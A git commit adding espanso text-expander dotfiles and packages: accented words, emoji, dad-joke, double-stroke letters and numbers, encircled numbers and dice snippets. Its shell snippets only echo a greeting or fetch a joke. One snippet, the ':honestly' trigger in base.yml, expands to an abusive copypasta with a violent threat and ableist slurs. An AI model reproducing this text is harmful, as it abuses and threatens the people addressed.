Initial Commit, move from a symlink farm to yadm

This commit is contained in:
2024-05-14 16:41:00 +02:00
commit 957a4eb474
210 changed files with 29165 additions and 0 deletions

View File

@@ -0,0 +1,40 @@
# espanso configuration file
# For a complete introduction, visit the official docs at: https://espanso.org/docs/
# You can use this file to define the global configuration options for espanso.
# These are the parameters that will be used by default on every application,
# but you can also override them on a per-application basis.
# To make customization easier, this file contains some of the commonly used
# parameters. Feel free to uncomment and tune them to fit your needs!
# --- Toggle key
# Customize the key used to disable and enable espanso (when double tapped)
# Available options: CTRL, SHIFT, ALT, CMD, OFF
# You can also specify the key variant, such as LEFT_CTRL, RIGHT_SHIFT, etc...
# toggle_key: ALT
# You can also disable the toggle key completely with
# toggle_key: OFF
# --- Injection Backend
# Espanso supports multiple ways of injecting text into applications. Each of
# them has its quirks, therefore you may want to change it if you are having problems.
# By default, espanso uses the "Auto" backend which should work well in most cases,
# but you may want to try the "Clipboard" or "Inject" backend in case of issues.
# backend: Clipboard
# --- Auto-restart
# Enable/disable the config auto-reload after a file change is detected.
# auto_restart: false
# --- Clipboard threshold
# Because injecting long texts char-by-char is a slow operation, espanso automatically
# uses the clipboard if the text is longer than 'clipboard_threshold' characters.
# clipboard_threshold: 100
# For a list of all the available options, visit the official docs at: https://espanso.org/docs/

View File

@@ -0,0 +1,71 @@
# espanso match file
# For a complete introduction, visit the official docs at: https://espanso.org/docs/
# You can use this file to define the base matches (aka snippets)
# that will be available in every application when using espanso.
# Matches are substitution rules: when you type the "trigger" string
# it gets replaced by the "replace" string.
matches:
# Simple text replacement
- trigger: ":espanso"
replace: "Hi there!"
# NOTE: espanso uses YAML to define matches, so pay attention to the indentation!
# But matches can also be dynamic:
# Print the current date
- trigger: ":date"
replace: "{{mydate}}"
vars:
- name: mydate
type: date
params:
format: "%m/%d/%Y"
# Print the output of a shell command
- trigger: ":shell"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: "echo 'Hello from your shell'"
- trigger: ":zettelkasten"
replace: "{{zettelkastendate}}"
vars:
- name: zettelkastendate
type: date
params:
format: "%Y%m%d%H%M%S"
- trigger: ":epoch"
replace: "{{epoch}}"
vars:
- name: epoch
type: date
params:
format: "%s"
- trigger: ":ISOdate"
replace: "{{ISO}}"
vars:
- name: ISO
type: date
params:
format: "%+"
- trigger: ":lennyface"
replace: "( ͡° ͜ʖ ͡°)"
- trigger: ":fitnessgram"
replace: "The FitnessGram™ Pacer Test is a multistage aerobic capacity test that progressively gets more difficult as it continues. The 20 meter pacer test will begin in 30 seconds. Line up at the start. The running speed starts slowly, but gets faster each minute after you hear this signal. [beep] A single lap should be completed each time you hear this sound. [ding] Remember to run in a straight line, and run as long as possible. The second time you fail to complete a lap before the sound, your test is over. The test will begin on the word start. On your mark, get ready, start."
# And much more! For more information, visit the docs: https://espanso.org/docs/
- trigger: ":foreshadowing"
replace: "Foreshadowing is a narrative device in which a storyteller gives an advance hint of what is to come later in the story. Foreshadowing often appears at the beginning of a story, and it helps develop or subvert the audience's expectations about upcoming events."
- trigger: ":honestly"
replace: "Do you honestly think you're fucking funny, fucking with my friends? Seriously, you're a fucking ugly little cunt mate, and if I ever see you i'm gunna slit your fucking face wide open yeh? You're a fucking angry little fucking spastic. OK, right, lets, first off, uhh youre seventeen so youre not even old enough to play the game, youre from Scotland not Nigeria and you annoy people and put them on YouTube cos youre a cunt, which I totally agree with. So why dont you crawl back up your mums fanny and die? Right, Ill tell you what, you fat little cunt, youre borin you dont sound Nigerian at all so go fuck yourself… GO AND CRAWL IN A DIRTY DANK LITTLE HOLE WHERE YOU FUCKING COME FROM, YOU DIRTY DRAGON EATIN LITTLE FUCKING SPASTIC. Right, OK, the dragon comment was probably a little bit fucking over-the-top, but at the end of the day youre fucking borin. Every single person who watches your videos are fucking stoopid. Theyre fucking ignorant little cunts. And youre just a fucking retard."

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2022 Joshua J. Hall
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,24 @@
# Espanso Accented Words
Simple package to extend [Espanso](https://espanso.org) with commonly accented words used in English.
## Installation
```
espanso install accented-words
```
## Usage
Just type the word. Words that may or may not require accents in English will only be accented after a trailing apostrphe (') is added. For example, both `rose` and `rosé` are separate words in English with very different meanings, so only `rose'` will exapnd to `rosé`. Here are a few examples...
* cafe' > café
* rose' > rosé
* resume' > résumé
* angstrom > ångström
* Champs-Elysees > Champs-Élysées
* Francois > François
## Contributions
Contributions are welcome. Feel free to fork and submit PRs with additional words to add to this list. This is far from an exhaustive list.

View File

@@ -0,0 +1,7 @@
name: accented-words
title: Accented Words
description: Automatically accent commonly accented words and proper nouns in English.
version: 1.0.0
author: Joshua Hall
homepage: "https://github.com/joshjhall/espanso-accented-words"
tags: ["english", "languages", "accents"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,252 @@
# Accented Words
matches:
- trigger: "Champs-Elysees"
replace: "Champs-Élysées"
propagate_case: true
word: true
- trigger: "Francois"
replace: "François"
propagate_case: true
word: true
- trigger: "Metis"
replace: "Métis"
propagate_case: true
word: true
- trigger: "Quebec"
replace: "Québec"
propagate_case: true
word: true
- trigger: "angstrom"
replace: "ångström"
propagate_case: true
word: true
- trigger: "brulee"
replace: "brûlée"
propagate_case: true
word: true
- trigger: "cafe'"
replace: "café"
propagate_case: true
word: true
- trigger: "chateau"
replace: "château"
propagate_case: true
word: true
- trigger: "cliche"
replace: "cliché"
propagate_case: true
word: true
- trigger: "creme"
replace: "crème"
propagate_case: true
word: true
- trigger: "crepe"
replace: "crêpe"
propagate_case: true
word: true
- trigger: "debacle"
replace: "débâcle"
propagate_case: true
word: true
- trigger: "debutante"
replace: "débutante"
propagate_case: true
word: true
- trigger: "detente"
replace: "détente"
propagate_case: true
word: true
- trigger: "divorcee"
replace: "divorcée"
propagate_case: true
word: true
- trigger: "doppelganger"
replace: "doppelgänger"
propagate_case: true
word: true
- trigger: "eclair"
replace: "éclair"
propagate_case: true
word: true
- trigger: "eclat"
replace: "éclat"
propagate_case: true
word: true
- trigger: "emigre"
replace: "émigré"
propagate_case: true
word: true
- trigger: "entree"
replace: "entrée"
propagate_case: true
word: true
- trigger: "epee"
replace: "épée"
propagate_case: true
word: true
- trigger: "expose'"
replace: "exposé"
propagate_case: true
word: true
- trigger: "facade"
replace: "façade"
propagate_case: true
word: true
- trigger: "fete"
replace: "fête"
propagate_case: true
word: true
- trigger: "fiance"
replace: "fiancé"
propagate_case: true
word: true
- trigger: "flambe"
replace: "flambé"
propagate_case: true
word: true
- trigger: "francais"
replace: "français"
propagate_case: true
word: true
- trigger: "habitue"
replace: "habitué"
propagate_case: true
word: true
- trigger: "ingenue"
replace: "ingénue"
propagate_case: true
word: true
- trigger: "jalapeno"
replace: "jalapeño"
propagate_case: true
word: true
- trigger: "manana"
replace: "mañana"
propagate_case: true
word: true
- trigger: "matinee"
replace: "matinée"
propagate_case: true
word: true
- trigger: "melange"
replace: "mélange"
propagate_case: true
word: true
- trigger: "melee"
replace: "mêlée"
propagate_case: true
word: true
- trigger: "moire"
replace: "moiré"
propagate_case: true
word: true
- trigger: "naive"
replace: "naïve"
propagate_case: true
word: true
- trigger: "nee'"
replace: "née"
propagate_case: true
word: true
- trigger: "ole'"
replace: "olé"
propagate_case: true
word: true
- trigger: "protege"
replace: "protégé"
propagate_case: true
word: true
- trigger: "resume'"
replace: "résumé"
propagate_case: true
word: true
- trigger: "rose'"
replace: "rosé"
propagate_case: true
word: true
- trigger: "saute"
replace: "sauté"
propagate_case: true
word: true
- trigger: "seance"
replace: "séance"
propagate_case: true
word: true
- trigger: "senor"
replace: "señor"
propagate_case: true
word: true
- trigger: "smorgasbord"
replace: "smörgåsbord"
propagate_case: true
word: true
- trigger: "soiree"
replace: "soirée"
propagate_case: true
word: true
- trigger: "souffle'"
replace: "soufflé"
propagate_case: true
word: true
- trigger: "soupcon"
replace: "soupçon"
propagate_case: true
word: true
- trigger: "touche'"
replace: "touché"
propagate_case: true
word: true
- trigger: "voila"
replace: "voilà"
propagate_case: true
word: true

View File

@@ -0,0 +1,14 @@
## Actually All Emojis
An up-to-date package for [espanso](https://espanso.org/) which provides triggers for all emojis (`v14.0`). Emojis and codes fetched from [Unicode.org](https://unicode.org/emoji/charts/full-emoji-list.html)
### Usage
To use this package, just type the name of the emoji between two colons. For example, to use the `smile` emoji 😄, you can type: `:smile:`
A full list of emojis and their CLDR Short Names can be found [here](https://unicode.org/emoji/charts/full-emoji-list.html)
**Note**: There are two options for this package. One with spaces between words, and one with underscores. This version uses _underscores_
For example `:kissing_face:`
To install the version with spaces use `actually-all-emojis-spaces`

View File

@@ -0,0 +1,7 @@
author: Jobie Wong
description: An updated package providing all v.14 emojis - fetched from unicode.org
name: actually-all-emojis
title: Actually All Emojis
version: 0.1.0
homepage: "https://github.com/jobiewong/espanso-emojis"
tags: ["emoji", "chat"]

View File

@@ -0,0 +1,2 @@
---
hub

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2020 Yordan Ivanov
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,20 @@
# Espanso Dadjoke
A simple package that expands to a random dad joke every time.
Powered by [icanhazdadjoke](https://icanhazdadjoke.com/).
## Installation
Make sure you have already installed [Espanso](https://espanso.org/install/) first.
```sh
espanso install dadjoke
```
Now you can open Slack and type `:dadjoke`
## Notes
* Requires `curl`
* Not tested on Windows

View File

@@ -0,0 +1,7 @@
author: Yordan Ivanov
description: A random dad joke every time
name: dadjoke
title: Dadjoke
version: 0.1.0
homepage: "https://github.com/ivanovyordan/espanso-package-dadjoke"
tags: ["fun", "jokes"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,8 @@
matches:
- trigger: ":dadjoke"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: "curl -H 'Accept: text/plain' https://icanhazdadjoke.com/"

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 Ihor Kopach https://github.com/kopach
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,78 @@
# Double stroke letters
[Espanso](https://espanso.org) package to easy write Double stroke letters.
⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-letters/stargazers) — it helps!
[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source)
<h1 align="center">
![demo](https://github.com/kopach/espanso-package-double-stroke-letters/raw/main/assets/demo.gif)
</h1>
## Triggers
| Keyword | Replaced |
| ------- | -------- |
| `;//A` | `𝔸` |
| `;//B` | `𝔹` |
| `;//C` | `` |
| `;//D` | `𝔻` |
| `;//E` | `𝔼` |
| `;//F` | `𝔽` |
| `;//G` | `𝔾` |
| `;//H` | `` |
| `;//I` | `𝕀` |
| `;//J` | `𝕁` |
| `;//K` | `𝕂` |
| `;//L` | `𝕃` |
| `;//M` | `𝕄` |
| `;//N` | `` |
| `;//O` | `𝕆` |
| `;//P` | `` |
| `;//Q` | `` |
| `;//R` | `` |
| `;//S` | `𝕊` |
| `;//T` | `𝕋` |
| `;//U` | `𝕌` |
| `;//V` | `𝕍` |
| `;//W` | `𝕎` |
| `;//X` | `𝕏` |
| `;//Y` | `𝕐` |
| `;//Z` | `` |
| `;//a` | `𝕒` |
| `;//b` | `𝕓` |
| `;//c` | `𝕔` |
| `;//d` | `𝕕` |
| `;//e` | `𝕖` |
| `;//f` | `𝕗` |
| `;//g` | `𝕘` |
| `;//h` | `𝕙` |
| `;//i` | `𝕚` |
| `;//j` | `𝕛` |
| `;//k` | `𝕜` |
| `;//l` | `𝕝` |
| `;//m` | `𝕞` |
| `;//n` | `𝕟` |
| `;//o` | `𝕠` |
| `;//p` | `𝕡` |
| `;//q` | `𝕢` |
| `;//r` | `𝕣` |
| `;//s` | `𝕤` |
| `;//t` | `𝕥` |
| `;//u` | `𝕦` |
| `;//v` | `𝕧` |
| `;//w` | `𝕨` |
| `;//x` | `𝕩` |
| `;//y` | `𝕪` |
| `;//z` | `𝕫` |
## Contribute
Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-letters)
## 📄 License
This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-double-stroke-letters/blob/master/LICENSE)

View File

@@ -0,0 +1,7 @@
author: Ihor Kopach (https://kopach.dev)
description: Easy write 𝕕𝕠𝕦𝕓𝕝𝕖 𝕤𝕥𝕣𝕠𝕜𝕖 𝕝𝕖𝕥𝕥𝕖𝕣𝕤
name: double-stroke-letters
title: Double stroke letters
version: 1.0.0
homepage: 'https://github.com/kopach/espanso-package-double-stroke-letters'
tags: ["symbols", "letters"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,109 @@
matches:
# {{{ Double Stroke Letters
# https;//www.webnots.com/alt-code-shortcuts-for-double-stroke-letters-and-numbers/
- trigger: ';//A'
replace: '𝔸'
- trigger: ';//B'
replace: '𝔹'
- trigger: ';//C'
replace: ''
- trigger: ';//D'
replace: '𝔻'
- trigger: ';//E'
replace: '𝔼'
- trigger: ';//F'
replace: '𝔽'
- trigger: ';//G'
replace: '𝔾'
- trigger: ';//H'
replace: ''
- trigger: ';//I'
replace: '𝕀'
- trigger: ';//J'
replace: '𝕁'
- trigger: ';//K'
replace: '𝕂'
- trigger: ';//L'
replace: '𝕃'
- trigger: ';//M'
replace: '𝕄'
- trigger: ';//N'
replace: ''
- trigger: ';//O'
replace: '𝕆'
- trigger: ';//P'
replace: ''
- trigger: ';//Q'
replace: ''
- trigger: ';//R'
replace: ''
- trigger: ';//S'
replace: '𝕊'
- trigger: ';//T'
replace: '𝕋'
- trigger: ';//U'
replace: '𝕌'
- trigger: ';//V'
replace: '𝕍'
- trigger: ';//W'
replace: '𝕎'
- trigger: ';//X'
replace: '𝕏'
- trigger: ';//Y'
replace: '𝕐'
- trigger: ';//Z'
replace: ''
- trigger: ';//a'
replace: '𝕒'
- trigger: ';//b'
replace: '𝕓'
- trigger: ';//c'
replace: '𝕔'
- trigger: ';//d'
replace: '𝕕'
- trigger: ';//e'
replace: '𝕖'
- trigger: ';//f'
replace: '𝕗'
- trigger: ';//g'
replace: '𝕘'
- trigger: ';//h'
replace: '𝕙'
- trigger: ';//i'
replace: '𝕚'
- trigger: ';//j'
replace: '𝕛'
- trigger: ';//k'
replace: '𝕜'
- trigger: ';//l'
replace: '𝕝'
- trigger: ';//m'
replace: '𝕞'
- trigger: ';//n'
replace: '𝕟'
- trigger: ';//o'
replace: '𝕠'
- trigger: ';//p'
replace: '𝕡'
- trigger: ';//q'
replace: '𝕢'
- trigger: ';//r'
replace: '𝕣'
- trigger: ';//s'
replace: '𝕤'
- trigger: ';//t'
replace: '𝕥'
- trigger: ';//u'
replace: '𝕦'
- trigger: ';//v'
replace: '𝕧'
- trigger: ';//w'
replace: '𝕨'
- trigger: ';//x'
replace: '𝕩'
- trigger: ';//y'
replace: '𝕪'
- trigger: ';//z'
replace: '𝕫'
# }}}

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 Ihor Kopach https://github.com/kopach
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,36 @@
# 𝟙𝟚𝟛 Double stroke numbers
[Espanso](https://espanso.org) package to easy write Double stroke numbers.
⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-numbers/stargazers) — it helps!
[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source)
<h1 align="center">
![demo](https://github.com/kopach/espanso-package-double-stroke-numbers/raw/main/assets/demo.gif)
</h1>
## Triggers
| Keyword | Replaced |
| ------- | -------- |
| `;//0` | `𝟘` |
| `;//1'` | `𝟙` |
| `;//2'` | `𝟚` |
| `;//3'` | `𝟛` |
| `;//4'` | `𝟜` |
| `;//5'` | `𝟝` |
| `;//6'` | `𝟞` |
| `;//7'` | `𝟟` |
| `;//8'` | `𝟠` |
| `;//9'` | `𝟡` |
## Contribute
Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-numbers)
## 📄 License
This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-double-stroke-numbers/blob/master/LICENSE)

View File

@@ -0,0 +1,7 @@
author: Ihor Kopach (https://kopach.dev)
description: "Easy write double stroke numbers: 𝟙𝟚𝟛"
name: double-stroke-numbers
title: Double stroke numbers
version: 1.0.0
homepage: 'https://github.com/kopach/espanso-package-double-stroke-numbers'
tags: ["symbols", "numbers"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,25 @@
matches:
# {{{ Double Stroke Numbers
# https://www.webnots.com/alt-code-shortcuts-for-double-stroke-letters-and-numbers/
- trigger: ';//0'
replace: '𝟘'
- trigger: ';//1'
replace: '𝟙'
- trigger: ';//2'
replace: '𝟚'
- trigger: ';//3'
replace: '𝟛'
- trigger: ';//4'
replace: '𝟜'
- trigger: ';//5'
replace: '𝟝'
- trigger: ';//6'
replace: '𝟞'
- trigger: ';//7'
replace: '𝟟'
- trigger: ';//8'
replace: '𝟠'
- trigger: ';//9'
replace: '𝟡'
# }}}

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 Ihor Kopach https://github.com/kopach
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,105 @@
# ①❷③ Encircled numbers
[Espanso](https://espanso.org) package to easy write encircled or enclosed numbers.
⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-encircled-numbers/stargazers) — it helps!
[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source)
<h1 align="center">
![demo](https://github.com/kopach/espanso-package-encircled-numbers/raw/main/assets/demo.gif)
</h1>
## Triggers
### Encircled numbers 0-50
| Keyword | Replaced |
| ------- | -------- |
| `;o0` | `⓪` |
| `;o1` | `①` |
| `;o2` | `②` |
| `;o3` | `③` |
| `;o4` | `④` |
| `;o5` | `⑤` |
| `;o6` | `⑥` |
| `;o7` | `⑦` |
| `;o8` | `⑧` |
| `;o9` | `⑨` |
| `;o.10` | `⑩` |
| `;o.11` | `⑪` |
| `;o.12` | `⑫` |
| `;o.13` | `⑬` |
| `;o.14` | `⑭` |
| `;o.15` | `⑮` |
| `;o.16` | `⑯` |
| `;o.17` | `⑰` |
| `;o.18` | `⑱` |
| `;o.19` | `⑲` |
| `;o.20` | `⑳` |
| `;o.21` | `㉑` |
| `;o.22` | `㉒` |
| `;o.23` | `㉓` |
| `;o.24` | `㉔` |
| `;o.25` | `㉕` |
| `;o.26` | `㉖` |
| `;o.27` | `㉗` |
| `;o.28` | `㉘` |
| `;o.29` | `㉙` |
| `;o.30` | `㉚` |
| `;o.31` | `㉛` |
| `;o.32` | `㉜` |
| `;o.33` | `㉝` |
| `;o.34` | `㉞` |
| `;o.35` | `㉟` |
| `;o.36` | `㊱` |
| `;o.37` | `㊲` |
| `;o.38` | `㊳` |
| `;o.39` | `㊴` |
| `;o.40` | `㊵` |
| `;o.41` | `㊶` |
| `;o.42` | `㊷` |
| `;o.43` | `㊸` |
| `;o.44` | `㊹` |
| `;o.45` | `㊺` |
| `;o.46` | `㊻` |
| `;o.47` | `㊼` |
| `;o.48` | `㊽` |
| `;o.49` | `㊾` |
| `;o.50` | `㊿` |
### Negative encircled numbers 0-20
| Keyword | Replaced |
| -------- | -------- |
| `;no0` | `⓿` |
| `;no1` | `❶` |
| `;no2` | `❷` |
| `;no3` | `❸` |
| `;no4` | `❹` |
| `;no5` | `❺` |
| `;no6` | `❻` |
| `;no7` | `❼` |
| `;no8` | `❽` |
| `;no9` | `❾` |
| `;no.10` | `❿` |
| `;no.11` | `⓫` |
| `;no.12` | `⓬` |
| `;no.13` | `⓭` |
| `;no.14` | `⓮` |
| `;no.15` | `⓯` |
| `;no.16` | `⓰` |
| `;no.17` | `⓱` |
| `;no.18` | `⓲` |
| `;no.19` | `⓳` |
| `;no.20` | `⓴` |
## Contribute
Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-encircled-numbers)
## 📄 License
This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-encircled-numbers/blob/master/LICENSE)

View File

@@ -0,0 +1,7 @@
author: Ihor Kopach (https://kopach.dev)
description: "Easy write encircled or enclosed numbers: ①❷③"
name: encircled-numbers
title: Encircled numbers
version: 1.0.0
homepage: "https://github.com/kopach/espanso-package-encircled-numbers"
tags: ["symbols", "numbers"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,153 @@
matches:
# {{{ Encircled numbers 0-50
# https://www.webnots.com/alt-code-shortcuts-for-encircled-numbers/
- trigger: ';o0'
replace: '⓪'
- trigger: ';o1'
replace: '①'
- trigger: ';o2'
replace: '②'
- trigger: ';o3'
replace: '③'
- trigger: ';o4'
replace: '④'
- trigger: ';o5'
replace: '⑤'
- trigger: ';o6'
replace: '⑥'
- trigger: ';o7'
replace: '⑦'
- trigger: ';o8'
replace: '⑧'
- trigger: ';o9'
replace: '⑨'
- trigger: ';o.10'
replace: '⑩'
- trigger: ';o.11'
replace: '⑪'
- trigger: ';o.12'
replace: '⑫'
- trigger: ';o.13'
replace: '⑬'
- trigger: ';o.14'
replace: '⑭'
- trigger: ';o.15'
replace: '⑮'
- trigger: ';o.16'
replace: '⑯'
- trigger: ';o.17'
replace: '⑰'
- trigger: ';o.18'
replace: '⑱'
- trigger: ';o.19'
replace: '⑲'
- trigger: ';o.20'
replace: '⑳'
- trigger: ';o.21'
replace: '㉑'
- trigger: ';o.22'
replace: '㉒'
- trigger: ';o.23'
replace: '㉓'
- trigger: ';o.24'
replace: '㉔'
- trigger: ';o.25'
replace: '㉕'
- trigger: ';o.26'
replace: '㉖'
- trigger: ';o.27'
replace: '㉗'
- trigger: ';o.28'
replace: '㉘'
- trigger: ';o.29'
replace: '㉙'
- trigger: ';o.30'
replace: '㉚'
- trigger: ';o.31'
replace: '㉛'
- trigger: ';o.32'
replace: '㉜'
- trigger: ';o.33'
replace: '㉝'
- trigger: ';o.34'
replace: '㉞'
- trigger: ';o.35'
replace: '㉟'
- trigger: ';o.36'
replace: '㊱'
- trigger: ';o.37'
replace: '㊲'
- trigger: ';o.38'
replace: '㊳'
- trigger: ';o.39'
replace: '㊴'
- trigger: ';o.40'
replace: '㊵'
- trigger: ';o.41'
replace: '㊶'
- trigger: ';o.42'
replace: '㊷'
- trigger: ';o.43'
replace: '㊸'
- trigger: ';o.44'
replace: '㊹'
- trigger: ';o.45'
replace: '㊺'
- trigger: ';o.46'
replace: '㊻'
- trigger: ';o.47'
replace: '㊼'
- trigger: ';o.48'
replace: '㊽'
- trigger: ';o.49'
replace: '㊾'
- trigger: ';o.50'
replace: '㊿'
# }}}
# {{{ Negative encircled numbers 0-20
# https://www.webnots.com/alt-code-shortcuts-for-encircled-numbers/
- trigger: ';no0'
replace: '⓿'
- trigger: ';no1'
replace: '❶'
- trigger: ';no2'
replace: '❷'
- trigger: ';no3'
replace: '❸'
- trigger: ';no4'
replace: '❹'
- trigger: ';no5'
replace: '❺'
- trigger: ';no6'
replace: '❻'
- trigger: ';no7'
replace: '❼'
- trigger: ';no8'
replace: '❽'
- trigger: ';no9'
replace: '❾'
- trigger: ';no.10'
replace: '❿'
- trigger: ';no.11'
replace: '⓫'
- trigger: ';no.12'
replace: '⓬'
- trigger: ';no.13'
replace: '⓭'
- trigger: ';no.14'
replace: '⓮'
- trigger: ';no.15'
replace: '⓯'
- trigger: ';no.16'
replace: '⓰'
- trigger: ';no.17'
replace: '⓱'
- trigger: ';no.18'
replace: '⓲'
- trigger: ';no.19'
replace: '⓳'
- trigger: ';no.20'
replace: '⓴'
# }}}

View File

@@ -0,0 +1,16 @@
# Espanso Dice
Espanso text expander package with common die types.
To use, type ".roll dnumber of die sides" followed by a space.
## Dice currently supported:
- d2
- d3
- d4
- d6
- d8
- d10
- d12
- d20
- d100 (aka d00)
- d1000 (aka d000)

View File

@@ -0,0 +1,7 @@
author: Craftidore
description: Dice emulator using the espanso random function.
homepage: https://github.com/Craftidore/espanso-dice
name: espanso-dice
title: Espanso Dice
version: 0.1.0
tags: ["utility", "fun", "dice"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,210 @@
# Espanso Dice
matches:
- triggers: [".roll d2", ".r d2"]
word: true
replace: "d2: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- triggers: [".roll d3", ".r d3"]
word: true
replace: "d3: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- "3"
- triggers: [".roll d4", ".r d4"]
word: true
replace: "d4: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- triggers: [".roll d6", ".r d6"]
word: true
replace: "d6: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- triggers: [".roll d8", ".r d8"]
word: true
replace: "d8: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
